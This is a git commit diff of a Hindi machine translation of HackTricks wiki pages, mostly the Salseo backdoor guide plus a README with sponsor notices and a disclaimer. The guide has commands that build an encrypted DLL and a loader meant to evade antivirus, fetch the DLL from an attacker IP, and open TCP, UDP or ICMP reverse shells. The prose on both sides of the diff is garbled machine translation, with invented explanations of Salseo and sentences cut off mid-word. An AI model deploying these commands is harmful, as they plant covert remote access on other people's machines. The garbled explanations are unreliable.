Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi

This commit is contained in:
Translator 2023-12-16 15:25:38 +00:00
parent 26efac8feb
commit a68372623f
66 changed files with 1368 additions and 1605 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 65 KiB

View file

@ -5,7 +5,7 @@
_हैकट्रिक्स लोगो और मोशन डिजाइन द्वारा_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**यह विकि में आपको हर हैकिंग ट्रिक/तकनीक/जो कुछ मैंने सीटीएफ, वास्तविक जीवन ऐप्स, रिसर्च पढ़ने और समाचार से सीखा है, वहां तक पाएंगे।**
**यह विकि में आपको हर हैकिंग ट्रिक/तकनीक/जो कुछ मैंने सीटीएफ, वास्तविक जीवन ऐप्स, रिसर्च पढ़ने और समाचार से सीखा है, वहां तक पहुंचाएगी।**
{% endhint %}
शुरू करने के लिए इस पेज का पालन करें जहां आपको **पेंटेस्टिंग** करते समय **आपको फॉलो करना चाहिए आम फ्लो** मिलेगा:
@ -26,7 +26,7 @@ _आपकी कंपनी यहां हो सकती है।_
[**STM साइबर**](https://www.stmcyber.com) एक महान साइबर सुरक्षा कंपनी है जिसका नारा है **हैक द अनहैकेबल**। वे अपने खुद के शोध करते हैं और अपने खुद के हैकिंग उपकरण विकसित करते हैं ताकि वे पेंटेस्टिंग, रेड टीम और प्रशिक्षण जैसी कई मूल्यवान साइबर सुरक्षा सेवाएं प्रदान कर सकें।
आप उनकी **ब्लॉग**ी जांच कर सकते हैं [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
आप उनकी **ब्लॉग** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) में देख सकते हैं।
**STM साइबर** भी हैकट्रिक्स जैसे साइबर सुरक्षा ओपन सोर्स परियोजनाओं का समर्थन करते हैं :)
@ -40,11 +40,11 @@ _आपकी कंपनी यहां हो सकती है।_
### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti** यूरोप की संख्या 1 ईथिकल हैकिंग और बग बाउंटी प्लेटफॉर्म है।
**बग बाउंटी टिप**: **Intigriti** में **साइन अप** करें, हैकर्स द्वारा बनाई गई प्रीमियम **बग बाउंटी प्लेटफॉर्म**! आज ही हमारे साथ शामिल हों [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), और बाउंटी तक कमाएं जो **$100,000** तक हो सकती हैं!
**बग बाउंटी टिप**: **Intigriti** में **साइन अप** करें, हैकर्स द्वारा बनाई गई प्रीमियम **बग बाउंटी प्लेटफॉर्म**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर शामिल हों और **$100,000** तक की बाउंटी कमाएं!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -53,7 +53,7 @@ _आपकी कंपनी यहां हो सकती है।_
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करके आसानी से वर्कफ़्लो बनाएं और **दुनिया के सबसे उन्नत समुदाय उपकरणों** द्वारा कार्यप्रवाह को स्वचालित करें।
दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **वर्कफ़्लो** आसानी से बनाने और स्वचालित करने के लिए [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें।
आज ही एक्सेस प्राप्त करें:
@ -67,9 +67,9 @@ _आपकी कंपनी यहां हो सकती है।_
[**Intruder**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) विकर्षण प्रबंधन को आसान बनाता है। अपनी हमले की सतह का ट्रैक रखें, देखें कि आपकी कंपनी कितनी संक्रमित हो सकती है, और मुद्दों को प्राथमिकता दें जो आपके सिस्टम को सबसे अधिक असुरक्षित छोड़ते हैं ताकि आप महत्वपूर्ण बातों पर ध्यान केंद्रित कर सकें।
एक प्लेटफ़ॉर्म के साथ हजारों जांचें चलाएं जो आपके आंतरिक बुनियादी संरचना से लेकर वेब ऐप्स, एपीआई और क्लाउड सिस्टम तक का आपका पूरा टेक स्टैक कवर करता है। [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) के साथ संगत हों और देवओप्स को संगठित करें ताकि आपकी टीम तेजी से सुधार कर सके।
एक प्लेटफ़ॉर्म के साथ हजारों जांचें चलाएं जो आपके आंतरिक बुनियादी संरचना से लेकर वेब ऐप्स, एपीआई और क्लाउड सिस्टम तक आपके पूरे टेक स्टैक को कवर करता है। [AWS, GCP, Azure](https://www.intruder.io/cloud-vulnerability-scanning-for-aws-google-cloud-and-azure) के साथ संगत हों और देवओप्स को संगठित करें ताकि आपकी टीम तेजी से सुधार कर सके।
इंट्रूडर कभी नहीं
इंट्रूडर कभी नहीं आर
### [DragonJAR](https://www.dragonjar.org/)
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
@ -86,8 +86,10 @@ _आपकी कंपनी यहां हो सकती है।_
## **अस्वीकरण**
{% hint style="danger" %}
यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में दी गई सामग्री 'जैसी है', और लेखक और प्रकाशकों द्वारा इसमें दी गई जानकारी, उत्पाद, सेवाएं, या संबंधित ग्राफिक्स की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या उपलब्धता के संबंध में कोई प्रतिनिधि या वारंटी नहीं है। इस जानकारी पर आपकी कोई भी आश्रितता इसलिए सख्ती से आपकी खुद की जिम्मेदारी है
यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में दी गई सामग्री 'जैसी है', और लेखक और प्रकाशकों द्वारा इस पुस्तक में दी गई जानकारी, उत्पाद, सेवाएं, या संबंधित ग्राफिक्स की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या उपलब्धता के बारे में कोई प्रतिष्ठान या वारंटी नहीं हैं। इस जानकारी पर आपकी किसी भी आश्रितता को इसलिए सख्ती से अपने खुद के जोखिम पर ही रखना चाहिए
लेखक और प्रकाशक किसी भी हानि या क्षति के लिए जिम्मेदार नहीं होंगे, जिसमें बिना सीम या परिणामी हानि या क्षति, या डेटा या लाभ की कोई भी हानि या क्षति शामिल हो सकती है, जो इस पुस्तक के उपयोग से हो सकती है।
लेखक और प्रकाशक किसी भी हानि या क्षति के लिए जिम्मेदार नहीं होंगे, जिसमें बिना सीमित या परिणामी हानि या क्षति, या डेटा या लाभ की कोई हानि या क्षति शामिल हो, इस पुस्तक का उपयोग करने से होती है।
इसके अलावा, इस पुस्तक में वर्णित तकनीक और युक्तियाँ केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए हैं, और इन्हें किसी भी अवैध या दुर्भाग्यपूर्ण गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन नहीं करते हैं, और इस पुस्तक में दी गई जानकारी का उपयोग करने की किसी भी प्रकार की जिम्मेदारी और विवेक प्रयोग करने वाले उपयोगकर्ता की अपनी जिम्मेदारी और विवेक पर छोड़ देनी चाहिए।
इसके अलावा, इस पुस्तक में वर्णित तकनीक और युक्तियाँ केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए हैं, और इन्हें किसी भी अवैध या दुर्भाग्यपूर्ण गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन नहीं करते हैं, और इस पुस्तक में दी गई जानकारी का उपयोग करने की किसी भी प्रकार की जिम्मेदारी और विवेक पर उपयोगकर्ता की होती है।
उपयोगकर्ता केवल इस पुस्तक में दी गई जानकारी प

View file

@ -8,7 +8,7 @@
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में**
</details>
@ -18,13 +18,13 @@
इन प्रोजेक्ट्स को उस विंडोज बॉक्स के लिए कंपाइल करें जहां आप उन्हें उपयोग करने जा रहे हैं (यदि Windows x64 को समर्थन करता है, तो उन्हें उस आर्किटेक्चर के लिए कंपाइल करें)।
आप विजुअल स्टूडियो के अंदर आर्किटेक्चर को चुन सकते हैं विंडोज के बाएं "बिल्ड" टैब में "प्लेटफ़ॉर्म टारगेट" में।
आप विजुअल स्टूडियो के अंदर आर्किटेक्चर को चुन सकते हैं जो आप चाहते हैं वह विज़ुअल स्टूडियो के **बाएं "बिल्ड" टैब** में **"प्लेटफ़ॉर्म टारगेट"** में होगा
(\*\*यदि आप इस विकल्प को नहीं ढूंढ सकते हैं, तो "प्रोजेक्ट टैब" में जाएं और फिर "आपूर्ति नाम" में जाएं)
(\*\*यदि आप इस विकल्प को नहीं ढूंढ सकते हैं, तो **"प्रोजेक्ट टैब"** में क्लिक करें और फिर **"\<प्रोजेक्ट नाम> संपत्तियाँ"** में क्लिक करें)
![](<../.gitbook/assets/image (132).png>)
फिर, दोनों प्रोजेक्ट्स को बिल्ड करें (बिल्ड -> समाधान बिल्ड करें) (लॉग्स के अंदर निष्पादनी के पथ दिखाई देगा):
फिर, दोनों प्रोजेक्ट्स को बिल्ड करें (बिल्ड -> समाधान बिल्ड करें) (लॉग्स के अंदर एक्ज़ीक्यूटेबल के पथ दिखाई देगा):
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
@ -37,56 +37,42 @@
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
# सालसेओ (Salseo)
#### Salseo
एक सालसेओ (Salseo) एक विंडोज़ प्रवेशद्वार है जो एक हमलावर को एक सिस्टम पर अनदेखा रूप से पहुंचने की अनुमति देता है। यह एक बैकडोर (backdoor) तकनीक है जिसे एक हैकर उपयोग करके एक संगठन के सिस्टम में गुप्त रूप से प्रवेश कर सकता है।
Salseo is a backdoor technique used to gain unauthorized access to a Windows system. It involves modifying the Windows registry to create a new user account with administrative privileges. This backdoor can be used to maintain persistent access to the system and carry out malicious activities.
इस तकनीक का उपयोग करके, हैकर एक विंडोज़ सिस्टम में एक बैकडोर इंजेक्शन करता है, जिससे वह एक निर्दिष्ट दूसरे सिस्टम से संचालित कर सकता है। यह बैकडोर उपयोगकर्ता के ज्ञान के बिना चलता है और उसे अनदेखा रूप से गतिशील रहने की अनुमति देता है।
##### Steps to Perform Salseo
एक बार जब सालसेओ सिस्टम में स्थापित हो जाता है, तो हैकर उसे दूरस्थ संगठन के सिस्टम में उपयोग कर सकता है। यह उपयोगकर्ता के ज्ञान के बिना एक विंडोज़ सिस्टम पर अनदेखा रूप से पहुंचने की अनुमति देता है और उसे दूसरे सिस्टमों के साथ संचालित करने की अनुमति देता है।
1. Open the Windows registry editor by typing `regedit` in the Run dialog box (Win + R).
एक सालसेओ को स्थापित करने के लिए, हैकर एक विंडोज़ सिस्टम में एक बैकडोर इंजेक्शन करता है और उसे एक निर्दिष्ट संगठन के सिस्टम में उपयोग करने के लिए कॉन्फ़िगर करता है। इसके बाद, हैकर उसे दूसरे सिस्टमों के साथ संचालित करने के लिए उपयोग कर सकता है और उसे अपनी आवश्यकताओं के अनुसार निर्दिष्ट कर सकता है।
2. Navigate to the following registry key: `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList`.
3. Create a new DWORD value with the name of the user account you want to create. Set the value to `0` to hide the account from the Windows login screen or `1` to display it.
4. Navigate to the following registry key: `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList`.
5. Create a new key with the name of the user account you want to create.
6. Inside the new key, create a new string value named `UserPassword` and set it to the desired password for the user account.
7. Restart the system for the changes to take effect.
##### Mitigation
To mitigate the Salseo backdoor technique, it is recommended to regularly monitor the Windows registry for any unauthorized modifications. Additionally, strong password policies and user access controls should be implemented to prevent unauthorized account creation. Regular security updates and patches should also be applied to the Windows system to address any vulnerabilities that could be exploited by this technique.
सालसेओ एक अत्यंत खतरनाक तकनीक है क्योंकि यह हैकर को एक संगठन के सिस्टम में गुप्त रूप से प्रवेश करने की अनुमति देता है और उसे अनदेखा रूप से गतिशील रहने की अनुमति देता है। इसलिए, सुरक्षा पेशेवरों को सावधान रहना चाहिए और इस तकनीक के खिलाफ सुरक्षा के उपाय अपनाने चाहिए।
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
ठीक है, अब आपके पास सभी चीजें हैं ज आपको सालसेओ कार्य को कार्यान्वित करने के लिए चाहिए हैं: **एनकोडेड EvilDalsa.dll** और **SalseoLoader का बाइनरी।**
ठीक है, अब आपके पास सभी चीजें हैं जिनकी आपको सालसेओ कार्य को कार्यान्वित करने के लिए आवश्यकता है: **एन्कोडेड EvilDalsa.dll** और **SalseoLoader का बाइनरी।**
**मशीन पर SalseoLoader.exe बाइनरी अपलोड करें। इसे कोई भी AV द्वारा पहचाना नहीं जाना चाहिए...**
**मशीन पर SalseoLoader.exe बाइनरी अपलोड करें। इन्हें कोई भी AV द्वारा पहचाना नहीं जाना चाहिए...**
## **बैकडोर को कार्यान्वित करें**
### **TCP रिवर्स शेल प्राप्त करना (HTTP के माध्यम से एनकोडेड dll को डाउनलोड करना)**
### **TCP रिवर्स शेल प्राप्त करना (HTTP के माध्यम से एन्कोडेड dll को डाउनलोड करना)**
याद रखें कि रिवर्स शेल सुनने वाले एनसी को शुरू करें और एक HTTP सर्वर शुरू करें जो एनकोडेड evilsalsa को सेव करेगा।
याद रखें कि रिवर्स शेल सुनने वाले एनसी को शुरू करें और एक HTTP सर्वर शुरू करें जो एन्कोडेड evilsalsa को सेव करने के लिए उपयोग करेगा।
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **एक UDP रिवर्स शेल प्राप्त करना (SMB के माध्यम से एनकोड किए गए dll को डाउनलोड करना)**
### **एक UDP रिवर्स शैल (SMB के माध्यम से एनकोड किए गए dll को डाउनलोड करना)**
याद रखें कि रिवर्स शेल सुनने वाले एनसी को शुरू करने और एनकोड evilsalsa को सेव करने के लिए एक SMB सर्वर (impacket-smbserver) चालू करें।
याद रखें कि रिवर्स शैल सुनने वाले रूप में एनसी (nc) और एनकोड evilsalsa को सेव करने के लिए एक SMB सर्वर (impacket-smbserver) शुरू करें।
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **एक ICMP रिवर्स शेल प्राप्त करना (पीडीएल इम्प्रिंटेड डीएल विक्टिम के अंदर)**
### **एक ICMP रिवर्स शेल प्राप्त करना (पीडीएल इम्पोर्ट किया गया है विक्टिम के अंदर)**
**इस बार आपको रिवर्स शेल प्राप्त करने के लिए क्लाइंट में एक विशेष उपकरण की आवश्यकता होगी। डाउनलोड करें:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
**इस बार आपको क्लाइंट में रिवर्स शेल प्राप्त करने के लिए एक विशेष उपकरण की आवश्यकता होगी। डाउनलोड करें:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP जवाब अक्षम करें:**
```
@ -109,7 +95,7 @@ Visual Studio का उपयोग करके SalseoLoader परियो
### मुख्य फ़ंक्शन के पहले जोड़ें: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### इस परियोजना के लिए DllExport इंस्टॉल करें
@ -121,7 +107,7 @@ Visual Studio का उपयोग करके SalseoLoader परियो
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png>)
आपके परियोजना फ़ोल्डर में निम्नलिखित फ़ाइलें दिखाई देंगी: **DllExport.bat** और **DllExport\_Configure.bat**
आपके परियोजना फ़ोल्डर में निम्नलिखित फ़ाइलें दिखाई देती हैं: **DllExport.bat** और **DllExport\_Configure.bat**
### DllExport को अनइंस्टॉल करें
@ -155,7 +141,7 @@ Visual Studio का उपयोग करके SalseoLoader परियो
![](<../.gitbook/assets/image (9) (1) (1).png>)
समाधान को **बिल्ड** करने के लिए: बिल्ड --> समाधान बिल्ड करें (नई DLL का पथ आउटपुट कंसोल में दिखाई देगा)
समाधान को **बिल्ड** करने के लिए: बिल्ड --> समाधान बिल्ड करें (नई DLL के पथ कंसोल में दिखाई देगा)
### उत्पन्न Dll का परीक्षण करें
@ -182,17 +168,13 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD (Command Prompt) एक Windows ऑपरेटिंग सिस्टम प्रोग्राम है जिसका उपयोग कमांड लाइन इंटरफेस के माध्यम से किया जाता है। CMD का उपयोग विभिन्न कमांडों को चलाने, फ़ाइलों और फ़ोल्डरों को प्रबंधित करने, नेटवर्क संबंधित कार्यों को करने, और अन्य विभिन्न सिस्टम कार्यों को करने के लिए किया जाता है। CMD के माध्यम से आप बैच स्क्रिप्ट चला सकते हैं, जिससे आप एक साथ कई कमांडों को चला सकते हैं।
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It allows users to interact with the operating system by executing commands. CMD provides a wide range of commands that can be used to perform various tasks, such as navigating through directories, managing files and folders, running programs, and configuring system settings.
CMD के कुछ महत्वपूर्ण कमांडों में शामिल हैं:
- `dir`: वर्तमान डायरेक्टरी में उपलब्ध फ़ाइलों और फ़ोल्डरों की सूची देता है।
- `cd`: डायरेक्टरी बदलने के लिए उपयोग किया जाता है।
- `copy`: फ़ाइलों और फ़ोल्डरों की प्रतिलिपि बनाने के लिए उपयोग किया जाता है।
- `del`: फ़ाइलों और फ़ोल्डरों को हटाने के लिए उपयोग किया जाता है।
- `ipconfig`: नेटवर्क कन्फ़िगरेशन जानकारी प्रदान करता है।
- `ping`: नेटवर्क कनेक्शन की जांच करने के लिए उपयोग किया जाता है।
CMD is a powerful tool for both regular users and hackers. It can be used to execute various hacking techniques, such as creating backdoors, exploiting vulnerabilities, and conducting reconnaissance. Hackers can leverage CMD to gain unauthorized access to systems, escalate privileges, and perform malicious activities.
CMD का उपयोग करके आप अपने सिस्टम को और अधिक नियंत्रित कर सकते हैं और विभिन्न टास्कों को आसानी से पूरा कर सकते हैं।
As a hacker, it is important to have a good understanding of CMD and its commands. By mastering CMD, you can effectively navigate and manipulate the Windows operating system, making it easier to carry out hacking activities. However, it is crucial to use CMD responsibly and ethically, as unauthorized access and malicious activities are illegal and can lead to severe consequences.
CMD is a versatile tool that can be used for both legitimate and malicious purposes. It is essential for hackers to stay updated with the latest CMD commands and techniques to stay ahead in the ever-evolving world of hacking.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -205,10 +187,10 @@ rundll32.exe SalseoLoader.dll,main
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें।**
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें,** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके।**
</details>

File diff suppressed because one or more lines are too long

View file

@ -6,9 +6,9 @@
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके** अपना योगदान दें।
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या **Twitter** पर **फॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स को PR के माध्यम से साझा करें** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को सबमिट करके।**
</details>
@ -24,6 +24,6 @@
पासवर्ड से सुरक्षित जिप फ़ाइलों के बारे में एक महत्वपूर्ण सुरक्षा संबंधित नोट है कि वे संपीड़ित फ़ाइलों के नाम और मूल फ़ाइल के आकार को एन्क्रिप्ट नहीं करते हैं, बारीक रूप में पासवर्ड से सुरक्षित RAR या 7z फ़ाइलों की तुलना में।
